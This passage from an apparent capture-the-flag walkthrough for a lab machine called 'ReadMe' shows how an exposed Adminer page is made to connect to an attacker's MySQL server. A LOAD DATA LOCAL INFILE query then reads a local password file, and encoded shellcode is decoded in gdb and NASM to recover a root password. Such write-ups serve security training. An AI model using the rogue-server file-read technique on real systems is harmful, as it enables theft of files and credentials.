that has all privileges on a database (this can be any database, for example’s sake, I’ll be using the <code class="language-plaintext highlighter-rouge">mysql</code> database).</p> <p>When creating the user, the authentication type must be set to <code class="language-plaintext highlighter-rouge">mysql_native_password</code> due to the mysqli driver not supporting the latest default authentication method. If it is not, adminer will indicate to the user that it cannot authenticate and output a MySQL error.</p> <p>To setup a user this way, the following command should be executed in the MySQL CLI:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">CREATE</span> <span class="k">USER</span> <span class="s1">'jeff'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">IDENTIFIED</span> <span class="k">WITH</span> <span class="n">mysql_native_password</span> <span class="k">BY</span> <span class="s1">'password'</span><span class="p">;</span> <span class="k">GRANT</span> <span class="k">ALL</span> <span class="k">PRIVILEGES</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'jeff'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span> </code></pre></div></div> <p>Now that a new user is setup (in this case, <code class="language-plaintext highlighter-rouge">jeff</code>), the <code class="language-plaintext highlighter-rouge">local_infile</code> variable on the user’s MySQL server needs to be enabled. To do this, execute:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">local_infile</span> <span class="o">=</span> <span class="k">true</span><span class="p">;</span> </code></pre></div></div> <p>The setting can then be confirmed by running:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SHOW</span> <span class="k">GLOBAL</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'local_infile'</span><span class="p">;</span> </code></pre></div></div> <p>If the setting was successfully enabled, the following output will be displayed:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------------+-------+ | Variable_name | Value | +---------------+-------+ | local_infile | ON | +---------------+-------+ </code></pre></div></div> <p>Now that the attacker’s MySQL server is setup, navigating to <code class="language-plaintext highlighter-rouge">/adminer.php</code> and filling in the connection details will force adminer to connect back to the attacker, where they will then be viewing their own database server in the web app.</p> <p>From here, files local to ReadMe can be exfiltrated to the attacker using the <code class="language-plaintext highlighter-rouge">local infile</code> syntax. First, the user must create a new table to save the data into. For this example, I have created a table named <code class="language-plaintext highlighter-rouge">exploit</code> with a single text column.</p> <p>After creating the table, going to the SQL command page and executing the following query will populate the exploit table with the contents of <code class="language-plaintext highlighter-rouge">/etc/julian.txt</code>:</p> <div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">load</span> <span class="k">data</span> <span class="k">local</span> <span class="n">infile</span> <span class="s1">'/etc/julian.txt'</span> <span class="k">into</span> <span class="k">table</span> <span class="n">mysql</span><span class="p">.</span><span class="n">exploit</span> <span class="n">fields</span> <span class="n">terminated</span> <span class="k">by</span> <span class="nv">"</span><span class="se">\n</span><span class="nv">"</span> </code></pre></div></div> <p>After executing this query, clicking “select” to the left of the exploit table will reveal a row for each line in the file, which reveals the password for the <code class="language-plaintext highlighter-rouge">julian</code> account:</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/adminer-exploit.png" alt="" /></p> <p>With the password recovered, the user can then login via SSH as <code class="language-plaintext highlighter-rouge">julian</code> using the password and get the user flag from <code class="language-plaintext highlighter-rouge">/home/julian/user.txt</code></p> <h2 id="path-to-root-flag">Path to Root Flag</h2> <p>After authenticating as julian, the user will be able to see the contents of tatham’s home directory. Within this directory are two files:</p> <ul> <li><code class="language-plaintext highlighter-rouge">payload.bin</code>: a file containing shellcode, which contains tatham’s password</li> <li><code class="language-plaintext highlighter-rouge">poc.c</code>: a file that the shellcode can be placed in to run it</li> </ul> <p>There are two methods that can be used to decode the payload and recover the password.</p> <h3 id="method-1-debugging">Method 1: Debugging</h3> <p>First, place the contents of <code class="language-plaintext highlighter-rouge">payload.bin</code> into the placeholder of <code class="language-plaintext highlighter-rouge">poc.c</code> and compile with protections disabled:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-m32</span> <span class="nt">-fno-stack-protector</span> <span class="nt">-z</span> execstack poc.c <span class="nt">-o</span> poc </code></pre></div></div> <p>Next, load <code class="language-plaintext highlighter-rouge">poc</code> into gdb (<code class="language-plaintext highlighter-rouge">gdb ./poc</code>) and disassemble the main function to find the point which the shellcode is called by running <code class="language-plaintext highlighter-rouge">disas main</code>:</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/root_001.png" alt="" /></p> <p>After confirming the offset, place a breakpoint (<code class="language-plaintext highlighter-rouge">b *main+164</code>) and then run the executable. Once the breakpoint is hit, stepping into the <code class="language-plaintext highlighter-rouge">call eax</code> instruction will then leave the user at the point of the xorfuscator decoder stub being executed:</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/root_002.png" alt="" /></p> <p>Once here, viewing the next 15 instructions that are to be executed (<code class="language-plaintext highlighter-rouge">x/15i $pc</code>) will reveal the address that the decoded payload can be found at after the stub has finished (in this case, <code class="language-plaintext highlighter-rouge">0xffffc595</code>, this value will change every time due to ASLR):</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/root_003.png" alt="" /></p> <p>A breakpoint should be placed here (<code class="language-plaintext highlighter-rouge">b *0xffffc595</code>) and once it is hit, after continuing execution, should be stepped into. Now EIP will be pointing at the original shellcode that has been decoded in place.</p> <p>By viewing the next 70 instructions (<code class="language-plaintext highlighter-rouge">x/70i $pc</code>), the user will be able to dump out the original un-encoded instructions (the screenshot below was taken after stepping one instruction further in, in the original shellcode, there is a <code class="language-plaintext highlighter-rouge">mov ebp, esp</code> instruction before the first <code class="language-plaintext highlighter-rouge">xor</code>):</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/root_004.png" alt="" /></p> <p>Continuing to execute from this point will result in the password not being revealed, as the original payload contains two key mistakes that need to be fixed if the user wishes to reveal it via execution.</p> <p>Examining the recovered code will show 64 bytes being repeatedly loaded into the <code class="language-plaintext highlighter-rouge">eax</code> register, even though the rest of the code is trying to work with a value on the stack. This should make it clear that the <code class="language-plaintext highlighter-rouge">lea eax</code> instructions should actually be <code class="language-plaintext highlighter-rouge">push</code> instructions.</p> <p>In addition to this, the decoder loop is exiting after the first iteration as a <code class="language-plaintext highlighter-rouge">jz</code> instruction is being used as opposed to a <code class="language-plaintext highlighter-rouge">jnz</code>.</p> <p>A copy of the working and broken payloads can be found at the end of this post.</p> <p>After reconstructing the NASM file to represent something functionally equivalent to the original code (see sample at end of this post), it can be compiled by running (assuming the code is in a file named fixed.nasm):</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nasm <span class="nt">-f</span> elf32 fixed.nasm <span class="o">&amp;&amp;</span> ld <span class="nt">-m</span> elf_i386 fixed.o </code></pre></div></div> <p>The previous command will now have built a file named <code class="language-plaintext highlighter-rouge">a.out</code> which is the fixed executable, running this in gdb will make execution pause when it reaches the interrupts at the end of the file, and the base64 encoded password will be visible on the stack:</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/root_005.png" alt="" /></p> <p>Decoding this value will reveal the password for the <code class="language-plaintext highlighter-rouge">tatham</code> account, which if the user logs into will be able to run any command as root using sudo, and will be able to then obtain the root flag.</p> <h3 id="method-2-manually-decoding">Method 2: Manually Decoding</h3> <p>The alternative to recovering the decoded payload using gdb is to do it manually. Due to the relatively small size of the payload, this is doable and may make the process slightly easier if the encoding method can be identified.</p> <p>The encoder used as well as a script that contains the decoder stub is publicly documented here: <a href="https://rastating.github.io/creating-a-custom-shellcode-encoder/">https://rastating.github.io/creating-a-custom-shellcode-encoder/</a></p> <p>By first removing the decoder stub from the contents of <code class="language-plaintext highlighter-rouge">payload.bin</code>, the user will be left with only the encoded payload. The user can then work through the remaining values and XOR each pair with the byte that precedes it as per the illustration on the aforementioned page:</p> <p><img src="/assets/images/2019-08-18-readme-walkthrough/xorfuscator.png" alt="" /></p> <p>After recovering the original hexadecimal bytes, the ASM code can be recovered using <code class="language-plaintext highlighter-rouge">ndisasm</code>, as per below:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="nt">-ne</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">89</span><span class="se">\x</span><span class="s2">e5</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">c0</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">c9</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">d2</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">12</span><span class="se">\x</span><span class="s2">13</span><span class="se">\x</span><span class="s2">7f</span><span class="se">\x</span><span class="s2">7f</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">22</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">7b</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">12</span><span class="se">\x</span><span class="s2">73</span><span class="se">\x</span><span class="s2">24</span><span class="se">\x</span><span class="s2">13</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">23</span><span class="se">\x</span><span class="s2">04</span><span class="se">\x</span><span class="s2">7b</span><span class="se">\x</span><span class="s2">08</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">22</span><span class="se">\x</span><span class="s2">70</span><span class="se">\x</span><span class="s2">28</span><span class="se">\x</span><span class="s2">73</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">12</span><span class="se">\x</span><span class="s2">09</span><span class="se">\x</span><span class="s2">28</span><span class="se">\x</span><span class="s2">30</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">16</span><span class="se">\x</span><span class="s2">3b</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">19</span><span class="se">\x</span><span class="s2">19</span><span class="se">\x</span><span class="s2">0e</span><span class="se">\x</span><span class="s2">36</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">13</span><span class="se">\x</span><span class="s2">09</span><span class="se">\x</span><span class="s2">7b</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">60</span><span class="se">\x</span><span class="s2">09</span><span class="se">\x</span><span class="s2">7b</span><span class="se">\x</span><span class="s2">75</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">10</span><span class="se">\x</span><span class="s2">75</span><span class="se">\x</span><span class="s2">16</span><span class="se">\x</span><span class="s2">70</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">25</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">16</span><span class="se">\x</span><span class="s2">2d</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">23</span><span class="se">\x</span><span class="s2">19</span><span class="se">\x</span><span class="s2">24</span><span class="se">\x</span><span class="s2">73</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">27</span><span class="se">\x</span><span class="s2">75</span><span class="se">\x</span><span class="s2">16</span><span class="se">\x</span><span class="s2">09</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">0c</span><span class="se">\x</span><span class="s2">2b</span><span class="se">\x</span><span class="s2">77</span><span class="se">\x</span><span class="s2">1a</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">05</span><span class="se">\x</span><span class="s2">17</span><span class="se">\x</span><span class="s2">72</span><span class="se">\x</span><span class="s2">78</span><span class="se">\x</span><span class="s2">37</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">4d</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">29</span><span class="se">\x</span><span class="s2">e1</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">14</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">4a</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">18</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">48</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">3e</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">3c</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">24</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">3a</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">28</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">38</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">2c</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">16</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">15</span><span class="se">\x</span><span class="s2">38</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">d1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">2a</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">ac</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">46</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">28</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">45</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">42</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">18</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">44</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">10</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">34</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">08</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1d</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">45</span><span class="se">\x</span><span class="s2">00</span><span class="se">\x</span><span class="s2">29</span><span class="se">\x</span><span class="s2">c8</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">18</span><span class="se">\x</span><span class="s2">81</span><span class="se">\x</span><span class="s2">28</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">83</span><span class="se">\x</span><span class="s2">e9</span><span class="se">\x</span><span class="s2">04</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">c0</span><span class="se">\x</span><span class="s2">39</span><span class="se">\x</span><span class="s2">c1</span><span class="se">\x</span><span class="s2">74</span><span class="se">\x</span><span class="s2">b8</span><span class="se">\x</span><span class="s2">cc</span><span class="se">\x</span><span class="s2">cc</span><span class="se">\x</span><span class="s2">cc</span><span class="se">\x</span><span class="s2">cc"</span> | ndisasm <span class="nt">-b</span> 32 <span class="nt">-p</span> intel - 00000000 89E5 mov ebp,esp 00000002 31C0 xor eax,eax 00000004 31DB xor ebx,ebx 00000006 31C9 xor ecx,ecx 00000008 31D2 xor edx,edx 0000000A 8D0512137F7F lea eax,[dword 0x7f7f1312] 00000010 8D05222F7B15 lea eax,[dword 0x157b2f22] 00000016 8D0512732413 lea eax,[dword 0x13247312] 0000001C 8D0523047B08 lea eax,[dword 0x87b0423] 00000022 8D0522702873 lea eax,[dword 0x73287022] 00000028 8D0512092830 lea eax,[dword 0x30280912] 0000002E 8D05202F163B lea eax,[dword 0x3b162f20] 00000034 8D0519190E36 lea eax,[dword 0x360e1919] 0000003A 8D0513097B15 lea eax,[dword 0x157b0913] 00000040 8D0560097B75 lea eax,[dword 0x757b0960] 00000046 8D0510751670 lea eax,[dword 0x70167510] 0000004C 8D05252F162D lea eax,[dword 0x2d162f25] 00000052 8D0523192473 lea eax,[dword 0x73241923] 00000058 8D0527751609 lea eax,[dword 0x9167527] 0000005E 8D050C2B771A lea eax,[dword 0x1a772b0c] 00000064 8D0517727837 lea eax,[dword 0x37787217] 0000006A 8D4D00 lea ecx,[ebp+0x0] 0000006D 29E1 sub ecx,esp 0000006F 8D1514000000 lea edx,[dword 0x14] 00000075 39D1 cmp ecx,edx 00000077 744A jz 0xc3 00000079 8D1518000000 lea edx,[dword 0x18] 0000007F 39D1 cmp ecx,edx 00000081 7448 jz 0xcb 00000083 8D151C000000 lea edx,[dword 0x1c] 00000089 39D1 cmp ecx,edx 0000008B 743E jz 0xcb 0000008D 8D1520000000 lea edx,[dword 0x20] 00000093 39D1 cmp ecx,edx 00000095 743C jz 0xd3 00000097 8D1524000000 lea edx,[dword 0x24] 0000009D 39D1 cmp ecx,edx 0000009F 743A jz 0xdb 000000A1 8D1528000000 lea edx,[dword 0x28] 000000A7 39D1 cmp ecx,edx 000000A9 7438 jz 0xe3 000000AB 8D152C000000 lea edx,[dword 0x2c] 000000B1 39D1 cmp ecx,edx 000000B3 7416 jz 0xcb 000000B5 8D1538000000 lea edx,[dword 0x38] 000000BB 39D1 cmp ecx,edx 000000BD 741C jz 0xdb 000000BF EB2A jmp short 0xeb 000000C1 EBAC jmp short 0x6f 000000C3 8D1D46414141 lea ebx,[dword 0x41414146] 000000C9 EB28 jmp short 0xf3 000000CB 8D1D45414141 lea ebx,[dword 0x41414145] 000000D1 EB20 jmp short 0xf3 000000D3 8D1D42414141 lea ebx,[dword 0x41414142] 000000D9 EB18 jmp short 0xf3 000000DB 8D1D44414141 lea ebx,[dword 0x41414144] 000000E1 EB10 jmp short 0xf3 000000E3 8D1D34414141 lea ebx,[dword 0x41414134] 000000E9 EB08 jmp short 0xf3 000000EB 8D1D41414141 lea ebx,[dword 0x41414141] 000000F1 EB00 jmp short 0xf3 000000F3 8D4500 lea eax,[ebp+0x0] 000000F6 29C8 sub eax,ecx 000000F8 3118 xor <span class="o">[</span>eax],ebx 000000FA 812801010101 sub dword <span class="o">[</span>eax],0x1010101 00000100 83E904 sub ecx,byte +0x4 00000103 31C0 xor eax,eax 00000105 39C1 cmp ecx,eax 00000107 74B8 jz 0xc1 00000109 CC int3 0000010A CC int3 0000010B CC int3 0000010C CC int3 </code></pre></div></div> <p>After recovering the original payload, the user can either fix it as per the explanation in method 1, or they can try to analyse what is happening in the loop which is XORing the 64 encoded bytes on the stack against the below key and shifting the ASCII values negatively one position:</p> <p><code class="language-plaintext highlighter-rouge">AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA</code></p> <p>An illustration of the decoding process can be viewed on CyberChef here: <a href="https://gchq.github.io/CyberChef/#recipe=From_Hex('Space')XOR(%7B'option':'UTF8','string':'AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA'%7D,'Standard',false)ROT47(-1)From_Base64('A-Za-z0-9%2B/%3D',true)&amp;input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y">https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Space’)XOR(%7B’option’:’UTF8’,’string’:’AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA’%7D,’Standard’,false)ROT47(-1)From_Base64(‘A-Za-z0-9%2B/%3D’,true)&amp;input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y</a></p> <p>At this point, they can use the recovered password to login as <code class="language-plaintext highlighter-rouge">tatham</code> and retrieve the root flag using sudo as per method 1.</p> <h2 id="fixed-payload">Fixed Payload</h2> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">global</span> <span class="nv">_start</span> <span class="nf">section</span> <span class="nv">.text</span> <span class="nl">_start:</span> <span class="c1">; set the frame pointer</span> <span class="nf">mov</span> <span class="nb">ebp</span><span class="p">,</span> <span class="nb">esp</span> <span class="c1">; clear required registers</span> <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span> <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span> <span class="nb">ebx</span> <span class="nf">xor</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span> <span class="nf">xor</span> <span class="nb">edx</span><span class="p">,</span> <span class="nb">edx</span> <span class="c1">; push encoded password onto stack</span> <span class="nf">push</span> <span class="mh">0x7f7f1312</span> <span class="nf">push</span> <span class="mh">0x157b2f22</span> <span class="nf">push</span> <span class="mh">0x13247312</span> <span class="nf">push</span> <span class="mh">0x087b0423</span> <span class="nf">push</span> <span class="mh">0x73287022</span> <span class="nf">push</span> <span class="mh">0x30280912</span> <span class="nf">push</span> <span class="mh">0x3b162f20</span> <span class="nf">push</span> <span class="mh">0x360e1919</span> <span class="nf">push</span> <span class="mh">0x157b0913</span> <span class="nf">push</span> <span class="mh">0x757b0960</span> <span class="nf">push</span> <span class="mh">0x70167510</span> <span class="nf">push</span> <span class="mh">0x2d162f25</span> <span class="nf">push</span> <span class="mh">0x73241923</span> <span class="nf">push</span> <span class="mh">0x09167527</span> <span class="nf">push</span> <span class="mh">0x1a772b0c</span> <span class="nf">push</span> <span class="mh">0x37787217</span> <span class="c1">; calculate size of password and store in $ecx</span> <span class="nf">lea</span> <span class="nb">ecx</span><span class="p">,</span> <span class="p">[</span><span class="nb">ebp</span><span class="p">]</span> <span class="nf">sub</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">esp</span> <span class="c1">; begin xor on the encoded password</span> <span class="nl">decode_loop:</span> <span class="c1">; if at dword 12, xor with F</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x14</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_f</span> <span class="c1">; if at dword 11, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x18</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 10, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x1c</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 9, xor with B</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x20</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_b</span> <span class="c1">; if at dword 8, xor with D</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x24</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_d</span> <span class="c1">; if at dword 7, xor with 4</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x28</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_4</span> <span class="c1">; if at dword 6, xor with E</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x2c</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_e</span> <span class="c1">; if at dword 3, xor with D</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x38</span><span class="p">]</span> <span class="nf">cmp</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">edx</span> <span class="nf">jz</span> <span class="nv">xor_d</span> <span class="c1">; if at none of the unique indexes</span> <span class="c1">; xor with A.</span> <span class="nf">jmp</span> <span class="nv">xor_a</span> <span class="nl">short_loop_jmp:</span> <span class="nf">jmp</span> <span class="nv">decode_loop</span> <span class="nl">xor_f:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414146</span><span class="p">]</span> <span class="nf">jmp</span> <span class="nv">xor_eof</span> <span class="nl">xor_e:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="mh">0x41414145</span><span 